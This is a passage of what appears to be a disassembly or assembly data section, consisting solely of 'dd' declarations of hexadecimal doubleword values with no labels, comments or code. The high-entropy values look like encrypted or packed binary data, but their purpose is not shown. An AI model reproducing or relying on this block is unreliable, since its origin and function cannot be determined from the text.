		dd 0DF3E0209h, 0AA5DC6CFh, 0D035809Fh, 487DC775h, 53333656h
		dd 0E9A072E0h, 0BF9A052Eh, 8466D15Ch, 0CDAE693Bh, 0D8A96E03h
		dd 4216542Dh, 4106C751h, 50656789h, 0F6516642h,	594258DDh
		dd 0B303E9C0h, 0E0E4C1EAh, 5AD30BFh, 13A1F290h,	0A53FBB81h
		dd 60806C7Ch, 45E951A5h, 81209C36h, 7833713Ah, 6058DBC1h
		dd 2B6F0D6Ah, 6E600C7Ah, 0FCA04BC4h, 2AA46237h,	9BAD79Ch
		dd 132B8604h, 63B862EAh, 0D4273B5Eh, 0C4F162B8h, 8BC98A00h
		dd 0B95125F6h, 0CD20685Dh, 0E9503B59h, 0C3935A7h, 0BBBC7A6Ch
		dd 1F34E982h, 98DC47F5h, 5D5EA75Fh, 1D500539h, 0A401F94h
		dd 14DC57Ah, 72D51C8h, 0E91187D6h, 0B9C5C049h, 0A0730BD4h
		dd 2A5D0922h, 49037242h, 0DCDC2699h, 0C6F356C1h, 10A0A36Ah
		dd 455FD532h, 90ED05E6h, 78AABAB4h, 9C543F3Dh, 0DF271C93h
		dd 0E2F4813Eh, 74644412h, 0FD6E0A0h, 0F485B6Fh,	20701FABh
		dd 9F0EE1BCh, 4921FE23h, 93F5C577h, 0BF056451h,	0E74BCAACh
		dd 98142056h, 6D60FFFBh, 0F20E17E5h, 583E0B9Ch,	5C4B7379h
		dd 2588AC46h, 1D730D5Dh, 5E98E92Ah, 5789D5BCh, 7DDC3AA9h
		dd 0D5932F54h, 0BB3700CEh, 0BA6BF149h, 757E4A70h, 0E23D3138h
		dd 0CB180EBFh, 0B5C77053h, 0E970C0F4h, 0B47E4F40h, 521E6B18h
		dd 92C8221Bh, 57E22757h, 4E0EFE5Eh, 0CA005646h,	510AABFBh
		dd 0F5892555h, 0C527EC5Ch, 0DF01012Ah, 79B5C0E9h, 16F73DAFh
		dd 90920978h, 0D77EEA5Eh, 0D9E931A1h, 0F1B18162h, 995CC3E3h
		dd 0A97F9521h, 0D4FC4ECCh, 807CAE61h, 6BB52B20h, 203DA12Bh
		dd 156EDB6Fh, 72F2C973h, 0E6774D1Bh, 4519E15Fh,	95C6A0EEh
		dd 2717A898h, 0C6018C5Fh, 6C4B82C5h, 7613DC41h,	52F26803h
		dd 0ED8B72D1h, 0F7B6B22Eh, 6CF0B2F0h, 2D086B80h, 23DC7F78h
		dd 30CC755Ah, 0C30CE924h, 24145D25h, 6B28DC97h,	995E5F7h
		dd 72D447B2h, 0C8A85465h, 96890A27h, 271F056h, 4849A77Bh
		dd 18BC84EAh, 0C5D3890Eh, 1A7A4FCh, 49CB12DEh, 0F49CA9F5h
		dd 98E1AA9Dh, 0ED222C32h, 0D5864298h, 0ED7A937Dh, 0CEB47690h
		dd 42585F55h, 776668E5h, 0BD425973h, 0B4ED722h,	0B1B05277h
		dd 0AD4DD332h, 34E85DE8h, 0A39745DAh, 8A16C25Eh, 0CA454122h
		dd 827B6AF8h, 0B06ECF7Dh, 4B12606Ch, 73E97509h,	0CEC92EE7h
		dd 26F167D5h, 82B1C163h, 0D872E0C8h, 4EF172Ch, 5090ED38h
		dd 2EB6D3Dh, 7B4F65Ah, 0C2204D0Bh, 46F7E02Fh, 0F3EC4027h
		dd 685AC9B2h, 3B7C2DEFh, 57392BBAh, 0E9D104BFh,	0B001337Dh
		dd 0E5392CBDh, 2A04754Fh, 0CEC700EFh, 28B32AA5h, 5F70ED90h
		dd 0E9D5040Fh, 0F5FC32CBh, 6D836882h, 9770965Fh, 5D43327Fh
		dd 6817F09Eh, 0E0CC072Dh, 71C5CFBh, 3F0338Fh, 0B70F5D66h
		dd 8268A8C0h, 2FD39F6Ah, 70D1D62Dh, 7697E3AEh, 68A0B061h
		dd 9E9E43C0h, 77191367h, 0AF3D28F3h, 48FE83E0h,	46158005h
		dd 490CC069h, 312E277Fh, 0F92F7C9Eh, 0D9536718h, 2535F030h
		dd 0AB04F07h, 9D60E8D1h, 0F8315A55h, 7C1F4D8h, 0FEEB8117h
		dd 2943D140h, 4B021C3h,	0E5E0FF08h, 0A44C4A1Dh,	4E14CE8Fh
		dd 2D917D20h, 5FE50217h, 70B7894Dh, 26B3381Eh, 0EA739770h
		dd 31362BA4h, 0D24AEE68h, 770130Fh, 0D4509948h,	1F7EC4CDh
		dd 0B1B61708h, 0BE606A67h, 0E029D68h, 53583BA7h, 5B0F99ECh
		dd 8035E925h, 70EFBA3Bh
		dd 315424C6h, 0C07F2708h, 0B110344Dh, 511F02D6h, 95D4F2Ah
		dd 49D1F545h, 4A3B68C2h, 34860535h, 6ED239EFh, 52B0D687h
		dd 0C049232Bh, 5B8E910h, 1CC003EEh, 0C7325771h,	7D8D092Dh
		dd 497075E7h, 92050782h, 7812AE74h, 6B2C8EEAh, 0B6527893h
		dd 1300E9F8h, 611977A4h, 7F33475Ch, 2139E0FDh, 0B894A2B8h
		dd 36F9311Ch, 446608FDh, 10C08701h, 222095F7h, 0ED2EF904h
		dd 0A9C84F6h, 0E44B5F0Dh, 0C8979F46h, 0B85052h,	69415763h
		dd 0B4B11105h, 0A48CE5A1h, 511E4E25h, 770A54DAh, 0F82AB7Ch
		dd 68D1EF8Ch, 9897F169h, 185F6266h, 5F0B9BA0h, 38996031h
		dd 57EB4E69h, 67DDAFCAh, 1737B724h, 12B1C517h, 0A6D005C6h
		dd 145CC888h, 315A5571h, 0B12AA6ECh, 0AABF4A83h, 25AFDE94h
		dd 38CB09ACh, 0DFA8945Fh, 4F4BD677h, 0DA675FEAh, 2947755h
		dd 7F433Fh, 28E9028Ch, 27A89A8Bh, 0DBC67586h, 2B539FCh
		dd 0C4D830B6h, 0A48EF644h, 13E878CEh, 0AB4E2CF6h, 0E918B5A3h
		dd 0BEBA5754h, 7C426D16h, 0C71710FFh, 0FA13B400h, 0E9C2093Eh
		dd 26C5844Eh, 357979ADh, 0BECB4DD2h, 2F19B604h,	7DC2B900h
		dd 7AB86FBAh, 0A039F53Fh, 0C8595A35h, 82100F6Ch, 0C95B52A5h
		dd 0E0DE6815h, 5A9EE953h, 0BE905082h, 84E7E993h, 800136D1h
		dd 2E307FF2h, 505D30BBh, 0BBB887B4h, 0BBBC140h,	7EB93F88h
		dd 830EFB78h, 748101C3h, 0BBE9D9Bh, 86965D18h, 0A13CDA9Dh
		dd 0CE38D844h, 5346B5A0h, 0B74764C0h, 0BA78E93Eh, 0E0D1012Bh
		dd 0DF0CF20Dh, 0CE65F107h, 0FB2DF6A5h, 0E03E5AF1h, 0B609ACBh
		dd 0EEB2BE1Ah, 31501215h, 917AA4C6h, 17443741h,	0AB993E0h
		dd 5EC24C56h, 0D521AB4h, 6F600DC2h, 31CB6704h, 45F82FFFh
		dd 98FE7789h, 0E72560Bh, 0DBA80B7h, 0FEAE9FE4h,	203DB8C5h
		dd 0BF129870h, 1E073730h, 6841EF81h, 0BD7E2CFEh, 10E98794h
		dd 193BD2CBh, 6A622182h, 96A370FDh, 648B5497h, 0C213AEB0h
		dd 4EA150FCh, 830F0042h, 91324BE3h, 526BF51h, 888087B9h
		dd 0CB768CFh, 7D0AEDC4h, 0B8BB5300h, 5C01CB27h,	0D84CBE56h
		dd 913AA334h, 5512E7DEh, 0EAC0BB3Bh, 0F1EEC01Eh, 4F76EF70h
		dd 8199B497h, 79C7D7C0h, 9D7E5461h, 820A476h, 0C9FA5E4Bh
		dd 0AA95601Dh, 5164B0B4h, 89E1B9C2h, 0A4787090h, 9111789Ah
		dd 7CBF0236h, 0F87D30A3h, 55088281h, 39D8691Ah,	5B3A5064h
		dd 27FC6490h, 5C1F44Dh,	0CB6806E3h, 0D16CD866h,	846E6297h
		dd 0B817CAF7h, 307010E6h, 7F15EC4Eh, 6C73149h, 91768ADh
		dd 9E0B20CDh, 44D3B801h, 0D0F758B0h, 8D39446Eh,	8BAB133Dh
		dd 62E7402Bh, 0E4EA8880h, 4DCDF2D4h, 312524E4h,	0D7A53AD4h
		dd 1425E45h, 2DE775F1h,	0F962DC2Ch, 97217C5Fh, 0C02BC48Dh
		dd 59CB8824h, 8ADBF63Ch, 87F380C3h, 100F6D09h, 7F88B958h
		dd 4A709F3Eh, 0C3C25495h, 52345DEAh, 4EFBB61h, 12671DD0h
		dd 0C17A9E03h, 5C61D270h, 0EB5B1718h, 0A02443CAh, 7649BCC5h
		dd 5B2E5210h, 192A5FCh,	106313BCh, 0ABC23E5Eh, 4CA0DFD9h
		dd 5CBA52DFh, 3BC4431Fh, 52C88A49h, 0B5AE09E6h,	10FD3084h
		dd 0A944CDFDh, 0E1DCD993h, 0A80995E4h, 0FE1242DDh, 74D60956h
		dd 41411C7Ch, 0B83B9F68h, 0A603C731h, 76318612h, 0DF78C949h
		dd 0ADF8C7E6h, 709FB4B2h, 0A0FAB740h, 0DBA55E5Ah, 44CBE020h
		dd 0CA03F51Ah, 1790296h, 0E95512E8h, 0FF6F8506h, 0E25BEF9Bh
		dd 2E03026Ch, 40EA8307h, 955291D2h, 0F05C1739h,	3825F42h
		dd 4D8E4DFh, 0C768C5A5h, 6985D931h, 581E6473h, 89A019BCh
		dd 0D3BE206Fh, 0C14E5F42h, 0FB0F966h, 9809C1B6h, 294DE2F6h
		dd 420A126Eh, 19855560h, 1E3D4C0Ch, 974A9506h, 6C0F0C64h
		dd 80153B03h, 8B7C90CFh, 4115B066h, 4EBC7AD6h, 0A88D7EF3h
		dd 0CA85C9F0h, 8A68579Eh, 5D262329h, 871341C4h,	0B12DAAF0h
		dd 5F050271h, 61E07C25h, 20B736D8h, 150CC236h, 7E409DCDh
		dd 18480316h, 21D217F7h, 0F2400188h, 664DC7D3h,	1FF42A51h
		dd 0D05E09Dh, 503E3507h, 7D604FB8h, 626CF425h, 0F7E91709h
		dd 0DF3E12CDh, 640C4A80h, 12F0482h, 841EF7CBh, 0B8512B9Ch
		dd 0BBC0352Ah, 0C9E92A42h, 0C3A1A0CCh, 0FA7A30B1h, 0B5E29D29h
		dd 0E4570809h, 47FD202Ah, 8AB7CAC7h, 6BD74492h,	5D921770h
		dd 0F960BB31h, 9A13E955h, 0B75A4AABh, 4E3F384Ah, 0E35B34BFh
		dd 68570B7Ch, 0BF7F7896h, 5FC49579h, 0C0144A1Fh, 0A14813E1h
		dd 0D01D30F0h, 0D79D9F75h, 7959D7B4h, 0C6290943h, 854F6758h
		dd 0EBDC0DE9h, 0D63EF4E7h, 0F8E1C092h, 4D6EC1BAh, 187178DEh
		dd 58FED030h, 29899370h, 0A7BD5FD3h, 587AE296h,	49F49362h
		dd 92109854h, 0CAE48003h, 0C493CCFEh, 0FD75ECB9h, 3F177A81h
		dd 2159D8BFh, 0E2911D49h, 8FE5759h, 7D7A544h, 0BDD4D6FBh
		dd 43C92018h, 381D32F6h, 0E6807F5Fh, 652B3C01h,	609E31E9h
		dd 20B15122h, 801FC9ACh, 0F85779C1h, 0EC59DAE0h, 0E3509FA4h
		dd 4B047997h, 7DF22EFEh, 0A406BD30h, 586CDE95h,	6C97478Fh
		dd 0FED9976Eh, 0C2815FC4h, 0F32B44C2h, 14171079h, 56121C58h
		dd 55A2E388h, 0B1FD3F46h, 0AAAE5E13h, 0F7BBEC31h, 0E3EF8001h
		dd 0C29DC599h, 0A8C9C3DFh, 0C4E8305Bh, 4091D5BCh, 984046EBh
		dd 82F0BD63h, 1CC0DB48h, 5A396B49h, 8A7021EFh, 0E5B62F33h
		dd 0FF497916h, 0EA0E8132h, 1A5C559Bh, 12D7378Dh, 0B0588F30h
		dd 2F40E227h, 0FDDE7D46h, 0F934E961h, 0B7D3B874h, 0B80BA4D9h
		dd 7D169A4Dh, 0BF807674h, 6D122F9Fh, 13519081h,	0AC33AC4Bh
		dd 48EE3465h, 9229BDAEh, 5A5982AEh, 0E94273DBh,	5D32E9B2h
		dd 61270E37h, 82FF080Bh, 799233C8h, 0AAFEA5E6h,	954DE970h
		dd 0DCC3BD69h, 0FE4AE8F4h, 4A7CE4CCh, 0AE37BA5Ah, 13280BA3h
		dd 0A7260777h, 0E6C116CEh, 1FF4E9F0h, 0C0442D10h, 0A924F0EEh
		dd 31ED010Bh, 0AF0805AAh, 2EBDA25h, 2E5C1BEh, 0FC82C389h
		dd 2DF1132h, 7CD889E3h,	0C270B84h, 0A5BD005Bh, 0B8BB6051h
		dd 55D1173Bh, 528242F9h, 8DDEA89h, 0C3019A58h, 1236081Dh
		dd 210D42Fh, 44BAE908h,	8C22E7F5h, 0F60DF97h, 14D18E12h
		dd 5E1C0A49h, 38599684h, 1439AE23h, 12B64C8Ah, 682E5391h
		dd 12F5864Fh, 1E4B6513h, 2EF8CCF0h, 1A28D94Ah, 8091CFBh
		dd 25391882h, 0C29893DDh, 426948CEh, 9285190Fh,	0DCEAD707h
		dd 2B0089F5h, 0BB5A5952h, 5EAA1E35h, 0FF46EA7Ah, 9FA704D0h
		dd 4F2843F9h, 0F5436031h, 6F92D9C6h, 0B1C181DAh, 83D86C16h
		dd 842DB968h, 0E160FDFAh, 38288CE9h, 3085295Ah,	30532348h
		dd 82204B23h, 2568D0F7h, 1A51334Bh, 7B42A580h, 0ECCB8119h
		dd 738F2C5Ch, 606E0720h, 0DD2889FDh, 0CD422F98h, 0C6FEE602h
		dd 20021CFDh, 895AD6FCh, 3B4CA2C1h, 0BAB9957Ah,	6D0031D5h
		dd 0D0334D6h, 4CE4129h,	73C50908h, 0C375AF2Bh, 25929FB7h
		dd 248D462h, 4B8F211Ah,	8804544h, 5209BF57h, 8F75260Ah
		dd 3C1B6213h, 4235E2E9h, 7D407C8h, 77680418h, 9C8CFB75h
		dd 2D9E4080h, 0B4118F3Dh, 0A0FAC347h, 519ABFD6h, 2CE5BA07h
		dd 1BA218E0h, 0A2455512h, 764EEEA0h, 0A9AE3D34h, 0CA502A61h
		dd 5F973F20h, 0ABE957BEh, 4B89775Fh, 6216DD06h,	4060DBFAh
		dd 6BCBBE0Ah, 2122172Ch, 0EA4908F1h, 5A78FC42h,	74490FA8h
		dd 9A7E4FE2h, 0DBFE166Bh, 43E8567Ah, 4C4EDA05h,	0CE317CEAh
		dd 0C4D18880h, 4C2778h,	1B93BE56h, 0BD1C0546h, 0C2C219A2h
		dd 6B2D8A1Fh, 5AABE7E3h
		dd 4D599DDEh, 0D1B9E9E1h, 7D028B72h, 423F837Bh,	904D855h
		dd 66B73768h, 0A0B8D300h, 9488FB4h, 0EBC11758h,	1070690Eh
		dd 29F55C2Fh, 2D82004Ch, 9D016D56h, 858E1876h, 0A941A94Ah
		dd 0D0F0D5A6h, 0FC04AA90h, 31F168FDh, 0A709F214h, 2902D615h
		dd 6A0A7BB0h, 0EA32BA00h, 50215D3Dh, 0DE6B74F0h, 0FE05C1CFh
		dd 2130330Ch, 677482C5h, 6049DF60h, 0C616A9Eh, 0E83154E0h
		dd 9D0BE966h, 7F028017h, 221E2802h, 0D662F35Eh,	16FE2E5Ah
		dd 0D3CAEA57h, 4121E912h, 3A2FB826h, 680DDCEAh,	7951111Dh
		dd 66585A09h, 47FA3D8Dh, 7A623425h, 16BE7ADDh, 0B1D9E905h
		dd 5ACB6E14h, 0CD91AA4Eh, 1F20D32Bh, 8C300B05h,	64404FA6h
		dd 5D5EEE29h, 0F084F4B9h, 6C31FA1Ah, 0AE0438C8h, 0F34E1794h
		dd 57A40F2h, 60EDE92Ah,	8F0F3209h, 0EFBFC39Fh, 0CE07BE61h
		dd 0D0F03135h, 0D9028B0Fh, 0A2EE9ED2h, 60259EFEh, 2E685F09h
		dd 61FB0301h, 0CAC18851h, 48BF8BF5h, 4EFD87ECh,	1013E7FEh
		dd 472792BFh, 0DB800FDh, 511B9BF0h, 1DCAA21h, 7E050117h
		dd 54E95048h, 65D12B40h, 0B2E0D7CFh, 5ECDB06Ch,	0F9A4FEDh
		dd 55AF0BCBh, 6D1894AFh, 0CE95EF35h, 9D6AF659h,	0CCDF2889h
		dd 0C8C26190h, 3FCFE9FDh, 0B7EAC341h, 0CC31FA52h, 8CC2B402h
		dd 3E2D1C08h, 0A8E3AD1Dh, 6C5AE488h, 5E9DCDBCh,	0C57567E6h
		dd 0FB5C1279h, 0E5107ACBh, 0FEBB002Bh, 81188406h, 4EDA0BF3h
		dd 0C6FF0FF4h, 281B7104h, 0BA1299Fh, 7FEE5709h,	4827A154h
		dd 2C13AD94h, 16EE5354h, 7E99AE5Fh, 2FE90608h, 0DA5351A5h
		dd 5C16469Fh, 0E202E2A9h, 1F82505h, 0DC3838Fh, 0C01236Bh
		dd 4D4CFD06h, 0CD6F09E9h, 0F24E02Ah, 0D787DDB4h, 0ABA2C35Ah
		dd 400650D1h, 0E35AB189h, 371528AEh, 47FC9C5Bh,	0EE7F17E5h
		dd 13879ED8h, 0E01DE9EEh, 680457BFh, 4CCF5514h,	8E7D380h
		dd 0B98A250Fh, 51BFD1F8h, 0D2C54F47h, 0E9CF425Dh, 5F52C431h
		dd 5BDFCDA0h, 0AFF7874Ah, 9CB85001h, 606D4725h,	0C49D2F4Ah
		dd 0A5402048h, 62F2409Dh, 0F260823Bh, 0BD162EF1h, 2BD5890Bh
		dd 0E9FA1E09h, 0B3E10631h, 5BA6022Eh, 957B168h,	55E557F3h
		dd 597EFEAFh, 5E2A8234h, 6C531368h, 41480B8Ah, 3D826045h
		dd 12DFC2F4h, 0F84D4140h, 11AD1096h, 0BE5BDDD0h, 5016B872h
		dd 0A759BD59h, 0D1FA4EB9h, 0ADD0BBD2h, 0FBCF620h, 64E03CCDh
		dd 0EC28E3BAh, 0DBE4C75Eh, 9A540BC2h, 10DDD3ADh, 0D246E923h
		dd 7AA09CFh, 0C1AAD3C9h, 147C6831h, 4EC658C7h, 689B98FEh
		dd 5933162Eh, 85F0BFC5h, 389A3D0Dh, 820F6685h, 6B02B1BCh
		dd 0E5D744E2h, 4E28E0EBh, 1A89F0Bh, 12D28FEBh, 1C1A0ED0h
		dd 432E16EAh, 591B8D1h,	678B2BF7h, 0F23510BFh, 68493607h
		dd 0D4F1F042h, 7E4A7370h, 391345FCh, 135F0441h,	40959851h
		dd 0CC011441h, 0EE502CD4h, 3D1612CBh, 0DD933D90h, 26704B21h
		dd 4E24E7F8h, 0FCAC8656h, 45FDF601h, 4D307DD6h,	0DB0C1752h
		dd 24361238h, 658D8253h, 0AB2F193h, 57B032FFh, 86386B76h
		dd 5A3FCD23h, 0C20054Ah, 0F4C1027Eh, 5462578Ah,	772F928Bh
		dd 0DC4BA9F1h, 0CC7D25D6h, 3110CFF0h, 8D89A1Ch,	936140DDh
		dd 0D7EB0481h, 92EEAA97h, 70752DB6h, 0B83AEB8Eh, 0E927719Bh
		dd 95BB7896h, 1E7E9EFFh, 4AE4E581h, 2E45C63h, 0ABBCD062h
		dd 310B5576h, 623379F9h, 0B900AE41h, 50EC20D5h,	12CADD43h
		dd 26B875h, 3368FBB8h, 0D10D495Bh, 90D9F7E9h, 82049CE5h
		dd 0DCD8DEF7h, 163FD69Fh, 4F0FEC5Ch, 0F7F4B9ACh, 875A0963h
		dd 0AF26D334h, 62FE765Ah, 99BBFF48h, 93823B2h, 243DA0C7h
		dd 9A16BF73h, 5DD931ABh, 99297E90h, 6882452Ch, 0E5FD1E7Ch
		dd 9655AF39h, 0C9309F52h, 0CA821B6Dh, 79694600h, 0C151B556h
		dd 28E638CFh, 0C0D35C25h, 762C1510h, 5E6A58BDh,	0FA38C4E3h
		dd 264C6B2Ah, 0A7BAA926h, 0C6144856h, 7B8F00B1h, 74E9767Ch
		dd 0EB4DC965h, 0C92F07C5h, 0E33E9392h, 0C78116E3h, 891251BDh
		dd 7A182DFAh, 54C563A9h, 0B71BEC5Dh, 2555D4E9h,	0E91292B6h
		dd 0FE54BEC4h, 4E61000Ah, 0F742287Dh, 1FEFB8DAh, 0B0E804AEh
		dd 60976A46h, 0D3291713h, 2C6DB88h, 566E0A1Dh, 924A27E9h
		dd 900A31FDh, 315A0F68h, 4F0747Bh, 0C205C0AAh, 727CB335h
		dd 8B84395Ah, 3ADF29BBh, 3B1F1C8h, 0B7B2523Ch, 80E8E2C0h
		dd 6D35BC2h, 1263A1E0h,	0F15AD128h, 3BE03E69h, 96F70F1h
		dd 0D48859CAh, 0C09A7A71h, 39A5D05Eh, 0DF8CCE4h, 0C544E97Fh
		dd 70E28A8Bh, 160998C1h, 939ADFACh, 2BF4E7Fh, 119E626Dh
		dd 0FF7E9C1h, 0FECE24F0h, 13AD3C04h, 272839AEh,	0BF4D120Bh
		dd 45689D28h, 0FAFD04FAh, 0BA4B65A6h, 0E3683B02h, 61FCF107h
		dd 57B778E9h, 0CD2563BBh, 8DFB984Ah, 6CE5F1A2h,	7AB80052h
		dd 25084D27h, 0B91B132Ah, 317E014Ch, 703F3E44h,	880BE1FEh
		dd 55294F24h, 0B74EA05h, 29F5C35Bh, 0DD2C4A3Eh,	4C91A016h
		dd 0DD59E941h, 0C16EA375h, 4365B6Dh, 0B19C17AAh, 19FC6A48h
		dd 343A10CDh, 493CBF7Eh, 4190F3A4h, 303AD01Eh, 9A44F067h
		dd 0A96816E2h, 0C1DDAC78h, 1B875C3Fh, 0C7E9A189h, 655E77A7h
		dd 2D16EBA4h, 79EBCE13h, 8FF92AF1h, 0EAA513B5h,	0C90B2E81h
		dd 9A320C20h, 0E7565EDAh, 134548C2h, 38AFAC9Ch,	0A227681Fh
		dd 4B84C611h, 0AEEB13F5h, 7D12CE1Eh, 6304FD47h,	0CD92F807h
		dd 9503DE37h, 510FD277h, 13AEB966h, 0E82A1D96h,	0D7FE3E9Ah
		dd 1244864Eh, 0F863ED1Fh, 1FB7DEA7h, 9FBE9F56h,	0EEC1862Fh
		dd 2120903h, 0AEC784E9h, 0CEBF59D4h, 11E90BC2h,	27A21113h
		dd 0BD1860ECh, 7D8B3461h, 0BE342FA3h, 588FA108h, 140ABC04h
		dd 5A80DE63h, 33CD6C46h, 54092529h, 0BDC0C8FCh,	481771AFh
		dd 5B041858h, 0BA3E5C4Dh, 9D212CE0h, 686189D6h,	0AB363FADh
		dd 0FEF3340Bh, 5771BCD4h, 0C88205EFh, 0AA277E56h, 0C077810h
		dd 8F8D85E9h, 0B5CFEEE8h, 3077588Bh, 956F1B0Bh,	0F643AC6h
		dd 0B0B887CDh, 37760A18h, 231240CBh, 6AF126D2h,	5E1D4883h
		dd 0DC015221h, 1AF67C71h, 7EEEE949h, 9E0D0195h,	7129C43Dh
		dd 0FB7693CEh, 0F28B43A8h, 4F974BD8h, 431A25FDh, 38C2A868h
		dd 5D27532Dh, 0EBFCFAA2h, 2AA079D0h, 2D120C39h,	2B0229EFh
		dd 59E8215Fh, 4934ACF6h, 7505AB5Fh, 59490C94h, 5F02C981h
		dd 3A9DF730h, 9889D582h, 834C9ED7h, 0E906135Dh,	8806819Eh
		dd 59A27FFCh, 4E512DFh,	0A8DCB0A7h, 6BAE038h, 7F62818h
		dd 1D2909A7h, 79E37CE8h, 0E1FAD5D8h, 0F209847Ch, 0C423A0E9h
		dd 0F25A5AFCh, 9BE89322h, 8F44EAA4h, 0A2FB8D65h, 948813A5h
		dd 3C4E8CABh, 3B870370h, 0CB5DA8CEh, 0F290D766h, 1A9ECA25h
		dd 73AF825h, 0E2BE30EEh, 0AFF7940Fh, 19C0F66h, 0EC88B644h
		dd 0A7F7F1E9h, 5229743Ah, 0CB89C68Bh, 4B68FB7Fh, 544B2ACEh
		dd 2C420B2h, 0BFE9313Bh, 0BB0FD778h, 2CEB1823h,	52B6FAD0h
		dd 4F0BEE14h, 778E48ADh, 0BB9766D4h, 0FE8A7145h, 0E85161FAh
		dd 8BF33FA5h, 7C8ACC4h,	3575CF89h, 3AE9D95h, 0C73A52BFh
		dd 30E7E3B1h, 0C8975F8Fh, 800EF437h, 240DCA80h,	0D5F2850Fh
		dd 53A4A8E7h, 5E9790B7h, 0C122C46Fh, 6A505762h,	5F450EF7h
		dd 0C2FAB37Ah, 0A0FBB4E9h, 7129E3BCh, 0E47248ABh, 78772D01h
		dd 78F3E970h, 54AE4A01h, 257C97D6h, 0DFC4BFEDh,	603FDE97h
		dd 34B675F6h, 66E8C131h, 5F0064B1h, 0B70BBA52h,	110A121h
		dd 3C236A6Fh, 44765130h
		dd 600CC27Fh, 2232273Bh, 26C11759h, 71AEBC57h, 0AF0CFBBFh
		dd 35261977h, 660F903Fh, 255BD94Ch, 0B23EE01h, 96FBFC5h
		dd 0F5760155h, 34318EC9h, 5C58123Fh, 5B5E1B09h,	0FB3112E4h
		dd 688247F2h, 0EB7436BBh, 0A08B546Bh, 0D88A28D2h, 7A5BBDFAh
		dd 1E0B950Bh, 68532DD3h, 26B353h, 0F59D6718h, 617804C5h
		dd 0BAEDD11Eh, 5531D092h, 0C7200266h, 30581212h, 0B3CBEED0h
		dd 288C680Bh, 0D08105DAh, 5AA36344h, 2F2468FEh,	525700FDh
		dd 67A60768h, 0D45A64CEh, 3E1ECFAh, 0B78BCFBEh,	0AF01D191h
		dd 0CD358A75h, 0F981686Dh, 3BBA90E9h, 27FCB45Fh, 33C58681h
		dd 0BF5C4BFCh, 7CDE3DC2h, 38745981h, 3E2C4382h,	0DC6E90FDh
		dd 6D058827h, 51A244D4h, 0C6F1AE68h, 0B42E26ECh, 3A089E62h
		dd 4B4F4A20h, 0AFB235EBh, 24F83928h, 81D0A77h, 0D427C912h
		dd 0A6D7952Bh, 9062FF4Eh, 0C01CCA57h, 0A83CAFD3h, 212BBF7h
		dd 0C16CB26Eh, 71E806EBh, 42401967h, 9CE70681h,	0C321447h
		dd 8C5D5F08h, 33A30201h, 0F50067DAh, 981CA107h,	13701DB9h
		dd 0CBE9C99Eh, 655D872Bh, 0EA983FF6h, 810F1E8Ah, 7842BFFh
		dd 0DDFCB2ABh, 21E9CE57h, 0BBE95081h, 2D3480C7h, 62737BE4h
		dd 0B15CBD05h, 6FB35A12h, 0F3E5A617h, 0F2D51006h, 8F020748h
		dd 294F2A5Ah, 0FBDAA6E3h, 46CF6DF4h, 909D64A5h,	4051092Fh
		dd 68856B97h, 5A070CEEh, 7A12C7BAh, 52A81D39h, 75BA5525h
		dd 47E8307Dh, 9A0982CAh, 0D07962DFh, 54773485h,	8089FF73h
		dd 573AE202h, 0B4D7660Bh, 0BDD177C6h, 0F7EDA150h, 55620CA0h
		dd 789F7B78h, 8D899D1Eh, 0DE677802h, 47C25B04h,	69C1F959h
		dd 68846CD1h, 0FEF45863h, 0C09397D2h, 7E58B451h, 0FD68A345h
		dd 9C7150ADh, 9F3C25D4h, 0C3D1C824h, 0E0C03840h, 0FAFE7B03h
		dd 9ED475B5h, 0F8B9588Ah, 51727A03h, 371538E9h,	342CEF67h
		dd 7FB85201h, 7DCE73CFh, 170B0540h, 292446B2h, 82282F8h
		dd 5F5BD819h, 6B07FD78h, 2584CD7Fh, 427DC257h, 9540D0A9h
		dd 25D29E7Dh, 6E319E9h,	6FAC7204h, 0C4FB7C52h, 0E7E4BA0Bh
		dd 649129E9h, 0F5BE4099h, 55014667h, 5170E681h,	9F3C01CDh
		dd 55905B1h, 89D9B9F8h,	2B726055h, 63625F81h, 0EF9DAF93h
		dd 0B3CF309Ah, 12431A60h, 62AB2EE1h, 0C7EA54E0h, 79AAEA40h
		dd 72F5E6E9h, 5A2EF401h, 936DE67Ch, 0D268C8BAh,	7A24354Bh
		dd 56CA2CAAh, 0E168501Fh, 585700BAh, 0FE44B635h, 0E9E0951Ch
		dd 77C48F23h, 8234346Bh, 20947F3h, 0A42EDC5h, 0DAEA0390h
		dd 0D24AB182h, 1B1F9ACh, 0D2E63BC6h, 0B9F0FE92h, 1216602Bh
		dd 80CBB252h, 0DA14EA27h, 0E7A4275Eh, 0D0DF354Ah, 608BF65Ch
		dd 82C11725h, 3C589C7Ch, 0E86204D1h, 44FE4F7Bh,	0A9FAC37Dh
		dd 0E680C3C6h, 0CD79F139h, 0B9CCC83Eh, 0BE41AF07h, 23756813h
		dd 715137EAh, 3D3D0E1Fh, 62EC2F15h, 0EAEC55AFh,	0F5BE57F8h
		dd 65FBCA81h, 924011A6h, 5CD36CDCh, 1B06872Fh, 24349B50h
		dd 8A28F109h, 0B348163h, 0D613096h, 82BAC12Eh, 0CAE72B46h
		dd 0E8CBA3Dh, 2E3E1CE1h, 65F8421Ch, 0C5DCE9C4h,	3EAD2395h
		dd 50DD5410h, 0C051096h, 0DA294463h, 5A7BA82h, 0E5C2F45Ch
		dd 743ECC69h, 299F8D6h,	34185B9Dh, 7D94EF26h, 9108F2C5h
		dd 0F1923AABh, 120FA9C3h, 0DCAE7DA5h, 6F40A75Bh, 0FDE23980h
		dd 0C9B2CA9Eh, 0DEF408BAh, 5A49CD66h, 0D07B805Fh, 4F7D3C2Eh
		dd 74E1B44Fh, 0D390B83Eh, 0E20E108h, 0ABC1CCB8h, 0F1C28982h
		dd 61C78E7h, 0ED296805h, 0FDF4692Ch, 3DE8EC7Fh,	85FC6B33h
		dd 5A757219h, 50A0CF7Ah, 0EFB63069h, 0BE40CC27h, 58E9C1A3h
		dd 0D6CC7F36h, 75B260B1h, 0B57914EBh, 30EC664Eh, 3FD37E04h
		dd 0D533C04Bh, 2D0CF53Eh, 8DBB46E9h, 175FE457h,	0F860A568h
		dd 0FD78DA8Ah, 0E92DDE70h, 305CE066h, 5C58ECC1h, 4A090352h
		dd 5157FEE3h, 69A7BD46h, 0BC6CB5A6h, 63B25D75h,	0E632C425h
		dd 0AC54BD4Fh, 7494FA89h, 0A7DD6734h, 0F5D60927h, 7AEC5293h
		dd 90D55E89h, 247ACF80h, 18907184h, 29E90DCBh, 18A4104Ah
		dd 0D6F84953h, 4EE15850h, 0A19D4028h, 31490852h, 0E609C85Eh
		dd 275FF657h, 0B0E5BC56h, 12E982B0h, 0EFFECB6Dh, 0F2605067h
